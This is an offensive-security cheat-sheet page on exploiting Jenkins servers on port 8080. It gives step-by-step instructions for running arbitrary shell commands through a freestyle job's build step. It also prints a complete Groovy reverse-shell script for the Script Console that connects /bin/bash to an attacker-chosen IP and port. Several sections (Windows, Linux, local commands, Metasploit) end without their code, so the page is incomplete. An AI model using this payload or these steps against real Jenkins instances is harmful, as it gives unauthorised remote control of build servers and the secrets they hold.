8080 - Jenkins
Exploitation
Basic command execution (Authenticated)
Press 'Create a job'
Choose a name and Create new freestyle project
In the
build
section pressExecute shell
Enter the command you would like (based on OS)
Press 'Save'
On the project dashboard go to
Build now
Press the newly created number under 'Build History'
Press
Console houtput
See output of the command.
To execute a different command press 'back to project' and then 'configure'
Groovy Script
Jenkins features a nice Groovy script console which allows one to run arbitrary Groovy scripts within the Jenkins master runtime or in the runtime on agents.
Specially crafted script written in groovy to make a reverse shell
String host="{your_IP}"; int port=8000; String cmd="/bin/bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Reverse Shell from the web interface
At Jenkins Dashboard go to Manage Jenkins
and then select Script Console
, run the following code for reverse shell:
For windows:
Linux:
Executing commands local:
Metasploit
uses the Jenkins-CI Groovy script console to execute OS commands using Java:
Last updated